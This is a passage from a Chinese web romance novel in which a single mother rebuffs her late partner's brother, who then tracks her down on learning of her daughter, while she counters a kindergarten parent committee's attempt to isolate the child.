喻梨按压出洗手液,微微弯腰在水龙头下冲手,水温微热,她眼底的温度确实冷的,直接对纪欣瑜道:“是一种大概某一天我真的沦落到去街头要饭,就算手机里最后只剩他一个联系人,我也绝不不会拨出那个号码的关系。欣瑜,我知道你发愁资金的事,今晚算我对不住你,我一定尽快想出解决办法,我们再等一等好吗?” 纪欣瑜怔住了,她跟喻梨合作两年,知道她处事坚持某些原则,但喻梨并不清高,太清高的人不适合做生意,相反,她太懂得如何搭关系,借人脉,而这是第一次,她这样郑重的告诉她,不想跟某个人搭上任何一丁点儿的关系。 沈砚走到会所门口时,想起自己打火机搁在餐桌上忘拿,是沈清送的生日礼物,倒不好随意丢弃。 周扬去安排车,他回转,臂弯里抄着昂贵的手工西服,抬腿去找自己遗失东西。 包厢里有单独的卫生间,大约以为人都走光了,纪欣瑜吐完直接问正在洗手的喻梨。 于是,几乎刚推开门,喻梨坚定的声音就那么清清楚楚地传过来。 沈砚甚至没有勇气将门全部推开,他在门口沉默地站了一会儿,垂眸时漆黑的睫毛拉耸下来,遮住了桃花眼里所有的情绪。 隔了一会儿,包厢门悄无声地阖上,退出去的沈砚有一刹那几乎忘却自己原本要回去找什么,会所走廊铺着昂贵地毯,透顶灯光微暗,雪白的墙壁上隐约印出他高大挺拔的身影,透出某种难以言喻的萧瑟。 纪欣瑜整理完,包厢里进来收拾的服务生忽然提醒:“小姐,这可能是你们哪位落下的东西。” 纪欣瑜将那只卡地亚的金属质感打火机捏在手里把玩了一下,心里觉得这人还挺有品位的,问服务生在哪个位置找到的,服务生直接指了指主桌的位置。 纪欣瑜便将它抛给喻梨:“你既然这么说了,我当然不会逼你,这玩意儿你自己看着办,怎么处理随你的意。”说完走出包厢。 喻梨皱了皱眉,直接将它交给服务生:“你们应该有应对顾客丢失物的办法,麻烦直接联系丢失物品的主人。” “可是……”服务生还想说什么。 喻梨态度冷淡:“我没有配合你们的义务。” 说完,不再停留。 喻梨叫了代驾。 纪欣瑜大约真被她刚才那番话弄得气恼,好好的人脉用不上,心里憋一口气,讽刺她:“早跟你说请个司机,赚得也不比我少,抠搜什么。” 喻梨深呼吸,叹口气,懒得跟她计较:“你赶紧回去吧。” 纪欣瑜刀子嘴豆腐心:“到家报个平安。” “嗯。” 夜已经很深。 喻梨要等代驾,去露天停车场时,忍不住翻一眼家里监控,屋子里黑漆麻乌的,星星应该早就睡了。 她叹口气,不知道什么时候才能真正有时间陪女儿,大概,等她真赚够钱的一天吧。 再抬头时,看见自己奔驰车边靠着的沈砚。 他像是不怕冷似的,只穿了一件衬衫,领口微微敞开,露出一截饱满喉结,西装被他抄进手臂里,身材非常挺拔,肩宽腿长,比例极佳,显得她的液态金属银的奔驰车都格外娇小。 俊脸在停车场昏黄的灯光下,透出几分萧索,但望过来的视线平稳安静,显然在等她。 喻梨在距离他三四公分左右的距离停驻,两个人目光在空气里对视。 沈砚嗓音清冷克制:“恨我?” 喻梨脸色平静无澜,口吻也极其平淡:“没有。知道你也有你的不容易。” 沈砚自嘲地扯了一下唇角:“我有什么不容易?” “出国前,我见过我妈妈,知道一些事情,比如我爸爸当年为了一笔资产绑架你,比如她跟你爸爸之间纠葛,站在你当年的立场,像你说的,对我其实已经足够仁慈。” 沈砚漆黑的瞳仁瑟缩了一下,大约没料到她已经知道,喉头滚动,张了张唇,:“喻梨,我……” “所以算扯平了,沈总,我没有恨您的理由。”喻梨平静打断他。 沈砚手指蜷了蜷,半响,才喉头发堵地问:“那其他的呢?” 喻梨微微眨了一下眼,起初仿佛不明白他问题,等很快明白过来,直接说:“没有其他的了,您现在对于我来说……”她视线逡巡了一圈,口吻极其平淡镇定,“看到那棵树没有,一样的,很多事已经过去了沈总。” 您现在对我来说像一棵树,看到不会留意,谁也不对对一棵树有太大情绪起伏。 很多事已经过去了,我当然不会很您,也没有其他的任何一丁点儿情感了啊。 第46章 第46章喻梨偏头对女儿平静介绍…… 沈砚在她平静到极致的目光里寸寸碎裂。 停车场灯光昏暗,周围的高大乔木在夜色里如同野兽般蛰伏,打破沉默的是骑着小折叠车来来的代驾:“请问是你们二 位叫的代驾吗?” 喻梨说:“是我约的,劳烦了。”将车钥匙递给对方。 代驾小哥熟练地将自己的折叠车放入后备箱。 喻梨要上车时,被沈砚拽住手腕,那双桃花眼退却了往日的沉稳冷静,暗流涌动,隐约的,泛起红色血丝,他喉结起伏,半响,有些艰涩道:“对不起。” 喻梨跟他对视,情绪平稳得可怕,无丝毫波澜,语气依旧淡淡的:“说了已经过去了,沈总。”说完,拂开他手,抬腿上车。 代驾车启动手刹时,看一眼站在旁边一动不动的男人,有些诧异:“他不上车吗?” 喻梨按了按有些疲乏的肩颈,不甚在意:“陌生人而已,您开吧。” “行。”代驾小哥从后视镜里看一眼英俊挺拔的男人,心里还挺解气,帅又怎么样,不照样被甩。 周五,许英有空,帮忙去接两个小孩。 喻梨开完例会,驱车跟她们汇合,两家人约了带俩小朋友吃一家新开的趣味儿童餐厅。 到餐厅时,发现星星坐在凳子上,有些闷闷不乐。 喻梨用湿纸巾擦拭了一下手,挠了挠女儿下巴:“怎么啦,宝贝,不开心,嗯?” 星星看她一眼,也不说话,往她怀里爬,这是需要抚慰的意思,喻梨顺势将她抱过来,星星就委屈地往她胸口蹭。 喻梨有些诧异,抬头望向许英,许英一边帮两个小朋友弄餐具,一边说:“今天去接他俩的时候,正巧碰到茉莉妈妈在为茉莉的生日送邀请卡,全班所有小孩都有,还有几个玩的好的,中班的家长,连果果都有,但是星星没有。” 喻梨微微皱眉,没想到茉莉妈妈会做到这种地步,10月份星星的生日,可是高高兴兴请了茉莉的,且喻梨一视同仁,邀请了班级里所有的同学。 茉莉妈妈这样做,很明显是在孤立星星。 许英当然也想到这一层,很是愤慨:“放心吧,果果不会去的,到时候,我们带果果跟星星一起出去玩。” 果果也很坚定的表示立场:“星星不去,我也不去。我陪星星玩。” 喻梨却想得更深,茉莉妈妈敢带头孤立星星,有第一个就有第二个,有第一次,就会有第二次,星星还要在幼儿园上三年学,被孤立的滋味得有多难受。 她眸色深了深,绝对不能让这种事发生。 “星星,你想去茉莉生日吗?”喻梨低头问女儿。 星星别别扭扭的,半响才说:“茉莉是我的好朋友。” “好,那明天妈妈带你去找你的好朋友玩好不好?” 星星有些犹豫地点了点头。 许英也很诧异:“你来真的?” “总得搞清楚原因吧,上门问清楚,我不想星星以后受到整个班级的排挤。”喻梨说。 许英就觉得她个性里,真的有种雷厉风行、飒气爽朗的部分,作为一个单亲妈妈,真的是很有勇气。 许英岔开话题:“对了,你们公司跟奇光的官司我看了,胜算很大,但是奇光目前内部管理混乱,即使官司胜诉,他们拖着不肯赔偿,拖个一年半载的,也很麻烦,我们这边的建议是,还是庭前和解。” “那也要看具体的和解方案。” “这是当然。我们肯定给你们争取最大的利益。”许英给俩孩子各夹了一块虾仁。 吃完饭,带着小朋友一块儿逛商场。 喻梨问星星知不知道茉莉喜欢什么。 星星兴奋地说:“爱莎公主,茉莉跟我一样,最喜欢爱莎公主。” “好。” 商场里没有合适的爱莎公主玩偶。 喻梨托熟人找到给星星一样的定制款,玩偶做得十分逼真,材料上的丝线都是手工缝制,配饰细节也几乎用的真材实料,价值不菲。 星星亲口说,茉莉是她好朋友,喻梨就愿意为此花些心思。 周六上午,喻梨牵着女儿的手,带着娃娃进入幼儿园那栋高级别墅区。 这种别墅区需要登记,获得主人首肯,喻梨就给茉莉妈妈打电话。 茉莉家。 胖乎乎的小茉莉正在画画。 小姑娘因为生日不能请星星来做客,从昨晚就开始跟妈妈闹别扭,撒泼打滚在地上做拱桥。 茉莉妈妈被闹得头疼,但又不能答应茉莉邀请星星,只好敷衍她:“可是我们的邀请卡已经发完了呀,没有了,没有邀请卡怎么邀请星星呢?” 茉莉顿时气鼓鼓的,从早晨吃饭后,就没有跟茉莉妈妈说话,而是趴在桌子上画画。 茉莉妈妈也懒得管她,监督家政阿姨做清扫,怕来的阿姨偷懒。 看到喻梨来电,还有些惊讶,第一遍装作没听到,结果对方固执地又拨打了第二遍,大有无休无止的架势。 茉莉妈妈只好选择接听,听到喻梨居然在家门口,十分惊讶,又实在被她冷不防上门打懵了,都忘记撒谎说自己不在,迷迷糊糊地就给她放行了。 打完电话,茉莉妈妈十分懊恼,怎么就放她进来了?光是用脚指头想,就知道她一定来着不善。 茉莉妈妈心里有些摸不准,看一眼自己,急忙去衣帽间挑选了一身合适的‘战袍’,不管对方是不是来着不善,务必要在气势上先压到对方。 结果开门时,喻梨牵着女儿的手,面含微笑,真诚和气的样子。 玩偶挺大的,但一路走进来,星星坚持自己抱着,说是自己送给茉莉的。 看到茉莉妈妈还会主动招呼:“阿姨好。” 茉莉妈妈原本憋着的一肚子的下马威就卡在喉咙里,想起监控里星星照顾茉莉的样子,也摆不出冷脸,有些尴尬地敷衍应了一声:“茉莉在里面画画,你去找茉莉玩吧。” 星星忍不住看一眼妈妈。 茉莉大概是听到动静,已经跑出来,看到星星,特别高兴,叫她:“星星。” 星星也笑起来,给她看:“你看,礼物。” “哇,爱莎公主!”茉莉顿时爱不释手。 “我……我也有一样的,我教你怎么玩。”星星开心得跟茉莉分享。 茉莉都不得到妈妈首肯,直接牵着星星就进去了,“我有好多玩具,我带你看。” 两个孩子确实挺黏的,茉莉妈妈心里叹口气:“进来吧。” 喻梨跟着进去。 茉莉妈妈给她倒了杯茶:“我知道你为了什么事,家里在做卫生,我也不方便留你太久,直说吧,邀请函的事只是开始,我也是别人授意,星星最好还是……转学吧,对她对你都好一点,有些圈子,不能融的就不要强融。”说到这儿,茉莉妈妈叹口气,看一眼玩在一起的两个孩子。 如果喻梨今天一来就直接质问,如果两个小孩关系没那么亲昵,她倒是也会给她搞虚与委蛇那套,但人家带着礼物上门,而且一看就是费了心思的礼物,茉莉妈妈忽然也不想跟她拐弯抹角了。 “谢谢你的坦诚。”喻梨倒也没想到茉莉妈妈能这么直接,这样倒好,“我来是想把这个给你,麻烦你帮我转交给杨夫人。”说着,喻梨递过去一叠资料。 茉莉妈妈一看,脸色又红又白,BSS这种贵族幼儿园,家委会成员一年改选一次,目前的会长以杨夫人为首,每年高昂的学费,决定了孩子们的家庭条件,绝非普通中产可以够到,家委会每年负责跟组织幼儿园各项活动开支,也就有大笔钱财过手,喻梨拿出的,是家委会的一些贪污证据。 “也麻烦你帮我给杨夫人转告一句话,我们家星星不会走。她不会想知道,一个母亲可以为了孩子战斗到什么地步!”一字一句,喻梨目光坚定,沉稳道。 茉莉妈妈看得心惊肉跳,原本喻梨是家委会选出来的,各方面看起来最好拿捏的家长,但此刻,喻梨脸色冰冷,态度强势,身上有股绝非普通妈妈的气势,有种平静的‘ 疯’劲儿。 “星星。”说完,喻梨偏头叫了一声在软垫上跟茉莉玩的星星。 星星跑过来,手上拿着一幅画,欢快道:“妈妈你看,邀请卡。” “什么邀请卡?”一转脸,对上女儿,喻梨眼神温柔。 “茉莉说她给我画的,她们家邀请卡用完了,她给我画了一张,她画了好久呢。”星星眼睛里都是光亮,特别开心地扑进妈妈怀里。 茉莉也过来了,有些害羞得靠着自己妈妈。 茉莉年纪小,画画其实就是一些孩子气的涂鸦,喻梨把画递给茉莉妈妈:“你看,小孩子的友情真的很单纯。” 茉莉妈妈也没想到女儿忙活一上午,居然是为了画邀请卡。 “妈妈,我们要回去了吗?”星星有些不舍道。 “嗯。跟茉莉说再见。”喻梨牵着女儿。 星星就跟茉莉挥了挥手:“茉莉,再见。” 茉莉也很舍不得,还问她妈妈:“妈妈,星星可以来给我过生日吗?” 当着女儿的面,茉莉妈妈根本说不出拒绝的话,尤其女儿居然能为了星星去画所谓的邀请卡,她心里也是震动的,半响才说:“可以。” 喻梨就弯腰温柔地对茉莉说:“谢谢你邀请星星,茉莉,欢迎你来找星星玩呀。” 茉莉猛点头,发出好快乐的笑声。 到门口时,茉莉妈妈忽然跟她示意:“看到中间那栋楼王没有?” 喻梨顺着她目光望过去。 “杨夫人住那里,我们这个小区,绝大部分孩子都在BSS就读,而大部分孩子想进去,都要挤破脑袋,每年就那么点名额,杨夫人跟董事会那边很熟,想进去,最好的办法是走杨夫人的路子,所以,我也不是刻意针对你。你的话我会转告,茉莉今年的生日会,我会取消,我们家有些生意,还得靠杨董。” 喻梨听懂她意思,也明白,她在中间当夹心饼干的难处,生日宴是为了孤立星星,一旦开始,就会有别的家长效仿,但茉莉妈妈也不敢公然跟杨夫人作对,肯取消,已经是最大的让步。 “抱歉。”喻梨说。 茉莉妈妈看一眼茉莉,叹口气。 小区很大,环境非常好,喻梨牵着女儿从茉莉家走出去。 星星跟她指:“妈妈,你看有喷泉。”说着扑过去。 大冬天的,喻梨担心女儿溅湿,赶紧追上她:“星星,衣服会打湿。” 恰此时,一辆黑色轿车经过,星星差点儿被车撞到,还好对方及时停车。 星星被吓到了。 喻梨也吓一跳,赶紧去看女儿有没有事。 车上司机下来:“抱歉,没撞到孩子吧,我已经开很慢,没料到小姑娘会突然穿过来。” “没事,是我没牵好她。”车子隔了点距离,星星一点儿没被撞到,就是吓到了,喻梨松口气。 “老李,怎么回事?”车上有中年男人推门下来。 喻梨顺着声音望过去,居然是杨董。 杨董似乎也认出她:“喻小姐?” 那晚的饭局,杨董对她很像印象,应该说不管是谁,那晚一定对坐在沈砚身边的喻梨都有印象。 “杨董。”喻梨颔首,算是招呼。 杨董看一眼她身边吓得有些怯怯的孩子,挑了一下眉:“你女儿?” 喻梨‘嗯’了一声,原本还想怎么跟杨董搭上桥,这会儿倒碰见了,但不知道为什么,她隐约有不太好的预感,这会儿不想跟对方搭关系,只想快点儿走:“她有点吓到,我先带她回去。” 杨董倒也不好说什么:“抱歉,司机开太快。” “没关系,是孩子乱跑。告辞,杨董。”说完,喻梨抱起星星就走。 杨董隐约觉得有几分怪异,这种资本大佬,有时非常相信直觉,何况近日他正愁搭沈砚的线,他跟吴邺是死对头,那晚能一桌吃饭,全靠老金撮合,两方都在争沈家项目的肥肉,沈砚是属意吴邺的,吴邺那边又给沈家压低了价格,有可能这两天就要签约,签完约,沈砚就会飞走,杨董正发愁找不到变数。 他看一眼喻梨背影,隐约觉得喻梨有可能就是这个变数。 沈砚在机场贵宾室。 20分钟后飞机即将起飞。 吴邺终于肯让利,双方合约敲定得很顺利,具体的签约事宜用不上沈砚,北城还有一大堆事等着处理,沈砚在南城多呆了好几天,已经超出原本计划。 周扬在跟他汇报接下来的行程,沈砚晚上跟京城几个政要有重要商务应酬。 沈砚一边听一边看他收集的资料,直到手机震动,杨董忽然给他发了一张照片。 照片里,从背影看得出来是喻梨,她手上抱着个软乎乎的小女孩,女孩儿趴在喻梨肩膀,正有些好奇又发怯的瞅着镜头。 小姑娘眼睛黑白分明,像极了沈廷屹,或者…… “人在哪儿?”他直接拨回电话,生平第一次,沈砚察觉自己胸口跳很快,已经从座位上站起来。 喻梨去停车场取车,把星星放在儿童椅上,然后带星星去附近商场吃饭。 吃饭的时候,沈欣瑜跟她说,宏鑫资本那边肯让步,减少持股,详细的,双方可以再细谈一次。 喻梨觉得蹊跷:“这不大像宏鑫资本的作风。” “先谈呗,我们目前的情况,你又不肯动那边的关系,你都不知道那晚上过后,有几个大佬对我们公司都挺感兴趣。”话语里,不是没有抱怨的。 “那就先谈。”喻梨妥协道,一边说话,一边给女儿喂了一口土豆泥。 她没发现不远处有人在偷拍。 四十分钟后,喻梨的奔驰车被沈砚截停在郊区附近的省道。 喻梨下午定了一个温泉酒店,原本准备趁周末,带星星去泡温泉住一晚。 但她奔驰刚开出城就隐约感觉被人跟踪,想起当时杨董的目光,隐约觉得有几分心神不宁。 直到后视镜里,出现沈砚那辆宾利。 不止宾利,总共三台车,喻梨被超越她其中的一辆截停。 对方似乎顾忌车上的人,没太逼她。 她在路边停驻了一回儿,握着方向盘,一时没有动。 后面儿童椅的星星好奇的问她:“妈妈,我们到了吗?” 喻梨强迫自己镇定,跟自己说,或早或晚,总有这么一天,没关系的。 她解开安全带,回头对女儿说:“没到,星星,有个叔叔想见你,他应该……不会伤害你,星星不要怕,好吗?” 星星鼓了鼓脸颊,不吭气。 沈砚已经从后面那辆车走下来,大步往喻梨车边走。 喻梨推门下车。 又去后座解开星星安全带,牵女儿下车。 旁边的路道,车流川流不息。 而公路边,停靠着好几辆豪车,除开中间的奔驰,清一色的黑,有三四个训练有素的黑衣保镖跳下车,就站在车身旁,没人敢靠近中间那辆奔驰车。 沈砚眼睛是红的,嗓子非常哑:“谁的?” 南城的天气多变,中午才出了点太阳,这会儿乌云又隐隐笼罩。 喻梨偏头对女儿介绍,声线平稳:“星星,这是大伯。” 第47章 第47章“我……可以抱一下你吗…… 沈砚胸腔鼓胀,俊脸带着某种难以言喻的复杂,桃花眼赤红,仿佛觉得悲哀,又或者别的什么…… 冷风将他模样吹得有些狼狈。 星星大约被他样子吓到,抱着妈妈的腿,不自觉地往后躲。 从机场到城中心,又被告知喻梨上了郊外省道,沈砚历经一个半小时,追上她。 这一个半小时里,足够做许多事,譬如命人调查喻梨从出国开始的一切动向。 时间太匆忙,秘书处绞尽脑汁,用尽人脉,最快能查到的也不过是几张照片,关于喻梨出国时的住处,以及生产时的登记。 孩子出生在10月。 算一算时间,那一晚他们没有任何措施,所以极有可能是他的。 但是喻梨淡定从容,只肯承认,孩子是廷屹的。 像四年前在廷屹坟墓前,她质问他,为什么死得不是他? 那天下着小雨,跟今日一样的冷,她在绝望之中目光平静到骇人,问他,为什么死得不是他。 然后,她破碎的目光垂落,注意到他手上佛珠珠串,仿佛有些讽刺的笑了一下,忽然大力 气将它撸下来,棕黑色珠子噼里啪啦碎落一地。 沈砚那一瞬间,听到某种凌迟声,一刀一刀划在心脏,悲哀的明白,她是真的希望死得是他。 她恨他! 那样恨他! 沈砚不肯承认自己被她恨意刺痛,在很长一段时间,不敢去见她,也沉浸在廷屹出事的悲痛里,花时间去处理廷屹的心愿。 后来隐隐约约知道的消息,是她快速出国的事。 他没有刻意打听过她去了哪里,从他答应廷屹开始,就在心里跟自己划了一条线,她是廷屹的。 他划了,就克制自己不要越界,他从小学克己复礼那一套,克己,就从来不去想自己疼不疼,难不难受。 虽然很久很久以前,他也划过一条线,她是他的。 她那样恨他,还是生下了一个小女孩。 此刻,沈砚蹲下身,跟抱着妈妈腿的星星平视。 “你叫星星对吗?”他克制着嗓音,尽量不想吓到她,用很温柔的语气说,但冲破喉咙的声音依然像掺了粗砂,沙哑得不像话。 星星本来有点害怕,但叔叔眼睛红红的,像红眼的小兔子,觉得他有点可怜,她就不怕了,忍不住抬头看一眼妈妈。 喻梨冲她点点头。 星星就大胆地从妈妈后面钻出来:“嗯,我叫星星。” “我……可以抱一下你吗?”沈砚用粗粝的嗓音小心翼翼说。 星星雪白的小脸有些犹豫,除了妈妈跟干妈,她很少跟人拥抱,周围也很少有成年的男性,但是这个叔叔长得很好看,又很伤心的样子,星星就心软地主动张开手抱住他脖子,安慰:“那我抱你一下,你不要哭哦。”说完,还像模像样轻轻拍了拍他后脑勺,像妈妈每次安慰她一样。 小姑娘的身体热烘烘、暖洋洋,还带着属于孩子特有的奶香,她那么小,那么软乎乎的可爱,沈砚第一次手似乎不知道该往哪里放,仿佛一碰她就会碎似的。 而因为她孩子气的话,沈砚一颗心脏在想在又苦又涩的汁水里泡过后,又被淋上金黄的蜂蜜,苦涩里裹了一抹甜。 半响,他才将手搭在孩子暖炉一样的背脊,往怀里拢了拢。 星星觉得自己不讨厌他身上的味道,虽然这个叔叔没有妈妈好闻,身体也硬邦邦的,但她能敏感的察觉他是喜欢自己的,乖乖任他拢着。 喻梨面无表情看一眼抱着的一大一小,开腔说:“这里很冷,我怕星星吹感冒,沈总,我们改天谈可以吗?” 沈砚眸色倏然间清醒,温柔地摸了摸女儿的脑袋,站起来,桃花眼底带着某种涩意:“看来你已经想过要怎么跟我谈?” “我只是觉得,作为大伯,你今天的行为已经越界,但我不想吓到星星,所以,我们改天再谈。”她语气平稳,漂亮的脸颊看上去那样无懈可击,理智到极点。 “大伯……”沈砚忍不住嘴巴里捋了捋这个称呼。 “我想你不至于打扰孩子快乐的周末吧。”喻梨平静道。 沈砚这一刻,真是讨厌她稳定的情绪。 但他看一眼牵着她手心的,睁着双漂亮眼睛的小姑娘,妥协:“你们准备去周末度假?” “嗯,定了一个温泉酒店。” “我们什么时候谈?”沈砚的口吻,也恢复往日的平静镇定。 喻梨说:“都可以,我比较忙,您让助理跟我助理约时间。” 沈砚眼睫垂落,再抬眼时已经是谈判的口吻:“不通过助理,我需要你的联系方式。” 喻梨懒得跟他废话,掏出手机,翻到二维码:“你扫我。” 大约没料到她这样爽快,沈砚喉结滑动,拿出手机扫她二维码,她很快通过。 沈砚继续说:“我的保镖要跟着,在我们的谈话之前。” 喻梨点头:“可以,但麻烦你让他们离得远一点,星星害怕陌生人。” “好,我会交代下去。” 喻梨便没什么好说的了:“那我带星星先走。”说完,牵着星星转身。 “喻梨。”沈砚叫住她,嗓音里含着某种情绪,“谢谢你。” 喻梨没有回应,牵着女儿上车。 星星大约十分好奇这个陌生的叔叔,趁妈妈不注意回头,发现他眼睛又是红红的,用很心疼地眼光望着自己和妈妈。 真是个奇怪的兔子叔叔。 喻梨继续驱车开往度假酒店,沈砚转身去机场。 周扬还没从老板极有可能多出个女儿的震惊里抽离出来,但他必须表现得非常专业:“今晚的商业应酬我已经跟周董联系好,如果您这边赶不上,将由周董代劳。我们现在乘坐杨董的私人飞机,应该能赶上。” 沈砚看一眼腕表:“航线申请下来了?” “杨董其实办事效率还挺高的。”周扬难得说。 沈砚降下车窗,看一眼喻梨那辆开出去的奔驰车,目光含着某种隐痛,等到车身渐行渐远,只剩一个小点,他才收回视线。 “跟保镖说离一定要看住人,还有,孩子怕生,离得远点。”他吩咐道。 周扬点头称是。 沈砚静了一会儿,声线低沉下来:“喻梨这四年的事,资料我都要。” 周扬觉得这个差事有点难办,但还是承诺:“好的。” 温泉酒店是民宿式,赵雨浓开的,喻梨有投资股份,赵雨浓全权负责经营。 星星来过好几次,已经逐渐习惯,且每次都住同样的房间,跟回自己家一样,一到酒店里,就迫不及待去找猫咪虎斑玩。 民宿总共只有7间房,空气非常好,每间房又有单独的私人温泉,周末几乎是满房状态。 赵雨浓抽空送了刚切好的果盘过来。 “不是早就出发了吗,一直没到,我还担心你们是不是出什么意外,打了两通电话你都没接。”赵雨浓问。 喻梨整理行李箱,看一眼落地窗外跟虎斑互动的女儿说:“是出了点意外。” “你跟星星有没有受伤?车子呢?”赵雨浓立刻有些紧张地检查她。 喻梨:“不是车子出事故。” 说着叹口气,三言两句将被沈砚截停的事说了。 赵雨浓听得目瞪口呆:“你还答应跟他谈谈?怎么谈?” “想好再谈吧,当时的情况,总不至于在大马路边拉拉扯扯。”喻梨没什么情绪。 赵雨浓却想得更深一点:“如果……我是说如果,他来抢星星怎么办?” 喻梨目光忽然犀利:“他没有资格!” 赵雨浓看她情绪有些激动,立刻安慰:“对,你当初为了星星受了那么多罪,他凭什么来抢!”但心底又忍不住担忧。 “星星是廷屹的。”喻梨喃喃道。 已经很久,赵雨浓没听她提起过这个名字。 她忍不住看一眼喻梨,发现她脸色有些暗淡,不敢再往下接话。 喻梨收拾好,走过去陪院子里的女儿。 星星正在喂虎斑火腿肠,虎斑吃得很香。 “妈妈,虎斑也有大伯吗?”星星摸着虎斑柔软的头毛,问她。 喻梨怔了怔,没回答。 星星又问:“妈妈,什么是大伯?” 喻梨喉咙有些艰涩,但还是跟她解释:“大伯就是爸爸的哥哥。” 星星有些似懂非懂,但是妈妈的说过爸爸在天上,可是那个兔子叔叔又是怎么回事? “兔子叔叔是大伯吗?他为什么不在天上?”星星感觉自己有点晕晕的。 “什么兔子叔叔?”喻梨愣了一下。 “就是刚刚的,兔子叔叔,他眼睛红红的,像兔子。”星星说着,还竖着手指在耳朵旁,演起小兔子。 喻梨被她童言童语逗笑,笑完又有些低落,忍不住喃喃:“他眼睛红了吗?” “嗯。”星星重重点头。 沈砚行程马不停蹄,一下飞机就换了身妥帖的商务西装,抵达应酬现场。 结束已经是晚间10点多。 一上车,沈砚松了松领带,拿出私人手机,第N次检查喻梨有没有通过验证。 就在他不抱希望时,发现不知道什么时候,喻梨已经在他好友栏里。 喻梨的微信头像,是女儿的照片,小姑娘骑在旋转木马上, 笑得阳光灿烂,左边脸颊又跟喻梨一模一样的小酒窝,可爱软萌到让人心都要融化。 沈砚很难形容这种感觉,但是人生第一次发现,原来仅仅是张照片,也能让人动容到想要流泪的冲动…… 他有强烈的直觉,星星属于他。 第48章 第48章她头发在杨夫人的反抗中…… 喻梨周天时带着星星返程。 许英带着果果回了老家一趟,带回一些腊肉和香肠,喻梨在温泉酒店附近摘了些水果,两家互赠特产。 “这么说,你差不多等同于直接将贪污证据甩杨夫人脸上了?”许英听完她跟茉莉妈妈的聊天内容,惊讶道。 喻梨点了一下头,将切好的水果分给两个小朋友。 “你什么时候准备这些的?” “你告诉我有可能我被家委会盯上的时候。”喻梨淡淡道。 “你的行动力真的牛!”许英竖了大拇指,“但是你是怎么搜集到证据的?” “这种话语权只掌握在一个人手里的家委会,你以为能有多和谐,总会有那么一两个早就无法忍耐的家长。”伺候好两个小崽子,喻梨又将果盘递给许英。 许英用叉子叉了一块:“你不干律师挺浪费的,我们律所多缺你这种不仅按图索骥又会收买人心的实力派。” 喻梨笑笑。 但许英还是会有隐约的担忧:“但是依照杨夫人的性格,应该不会那么容易收手。” 喻梨看一眼正在跟果果玩闹的小女孩,目光坚定:“星星是我的底线。” 第二天,喻梨跟沈欣瑜一起坐在会谈室里,参与跟婴儿护肤品牌的双方律师庭前的调解。 许英手上有别的案子又忙,推荐的是他们公司最擅长商业案件的唐律。 唐律是四十多岁的中年男子,对这种官司非常有经验,几份资料甩过去,怼得对方律师哑口无言。 “根据我们掌握的资料,贵公司已经不是第一次发生这种因为内部管理问题造成的有损品牌以及消费者利益的事件,双方合约非常清晰,我们确实想象不出,如果真的打官司,贵公司有丝毫胜出的可能性。”唐律口若悬河,一番话,有理有据, “但是因为直播平台单方面承认确实是产品问题,并且在不跟我们商量的前提下,单方面提出对消费者的双倍赔偿,目前对我们公司造成的名誉损毁非常大,直接影响公司产品在其他平台的销售量。这也是违背彼此合约的。”对方律师简直胡搅蛮缠。 喻梨跟沈欣瑜都听得翻白眼。 双方就这么无意义的打口水仗打了一个多小时。 休战的时间,唐律趁机跟两个人分析:“你们做好心理准备,对方这么胡搅蛮缠的理由只有一个,很有可能他们公司的资金流水早就出问题,拿不出你们要求的赔偿金。一个混乱到掺杂假货卖,高层居然都不知道的公司,内部一定出了严重问题,就算是真的打官司,他们也很有可能走上老赖路线,我目前的建议是,能要点算点儿,降低赔偿金,签订赔偿合约,不行的话,慢慢还。” 沈欣瑜说:“我这几天也打听过米易公司的情况,据说上半年他们其中一位高层卷款套现,目前去了国外,公司目前管理一片混乱,当初是我太相信这个牌子,才会合作到现在。”口吻里带上几分自责。 几个人商量了一会儿。 最后降低了赔偿要求,对方的赔偿金可以分三次打款,第一次是一周内到账,剩下的分别是另外两个季度。 对方代表同意了,最终签署了赔偿合约。 事情算告一段落,但压力几乎全部给到自己,即使第一笔赔偿款到账,公司依然解决不了目前资金链的短缺的困境。 “宏鑫是我们唯一的机会。”结束后,沈欣瑜拉开车门对喻梨说。 喻梨从另一边坐入沈欣瑜的车:“不一定,我最近有接触一些其他的投资商,正在筛选合适的。” “你要是没那么轴,金董那边其实后来有联系我……” 沈欣瑜话还没说完,被喻梨一个眼神打回去,做投降状:“行行行,你就算去翻垃圾,也不要用到关于他的一丁点儿人脉!” 喻梨没吭气。 “你们俩到底什么仇什么怨?我看人家那天就差把‘这是我的人’几个字写脸上,你说那么多大佬给你敬酒,你多大面儿,居然还被他挡下来,那气场,啧啧……我也是第一次在一个活人身上看到,不愧是京圈大佬。”沈欣瑜还在回味。 喻梨觉得两人既然合作,双方有必要坦诚,于是说:“你不是问我关于星星爸爸的事吗。” 沈欣瑜懵了一下,震惊:“他是星星爸爸?” “不是。”喻梨立刻否认道,想了想,解释,“当初,他是反对我跟星星爸爸的人之一。” 沈欣瑜只知道星星爸爸在星星出事前就去世了,脑补了一下喻梨的说辞,以及当时包厢里的自我介绍,她合理猜测:“他们家看不上你?” 然后你跟星星爸爸上演了一场豪门生死恋,结果星星爸爸被逼死了?后面的脑洞沈欣瑜不敢说,因为关于星星爸爸,每次她提,喻梨眼神都很暗淡。 “算是吧。”喻梨敛眉说。 沈欣瑜‘喔’了一声,算悟了。 两个人正说着,喻梨手机响,她看一眼手机号,微微皱眉。 接起电话,她声音沉稳,聊了几句后挂断,转头问沈星瑜可不可以送她去个地方。 “可以,我让老张先送你。” 喻梨在文化展览馆门口下车。 她进入展览馆之前,有人询问她是否有邀请函,喻梨说有人约在这里。 不一会儿,有工作人员出来,亲自将她带到杨夫人身旁。 杨夫人年过四十,据说生了三个小孩,但保养得非常好,身体线条轻盈,全身上下服饰端庄妥帖,身上配饰几乎都是是不显山漏水的名牌,跟家委会那些动不动拧百万级别包包的贵妇还是有区别的,低调得很。 大约她这个阶层,也不太需要高调的名牌彰显自己。 杨夫人站在一幅画前赏画。 喻梨走到她身边时,她问她:“你觉得这幅画怎么样?” 喻梨顺着她目光看了一眼,看不出太大名堂。 以前做公关的时候,倒是因为要维护客户关系,学过一点点艺术画的鉴赏,但已经忙得很久不关注这些了。 “色彩明亮、笔触细腻、构图新颖,虽然有点孩子气,但想象大胆,还不错。”喻梨随口说。 杨夫人终于肯偏头看她一眼,笑:“你是第一个说它孩子气的人。不过,还算诚实。这幅画是我大女儿画的,她才16岁,唯一的爱好就是画画,当父母的,肯定要支持,所以为了她专门办这个画展。” 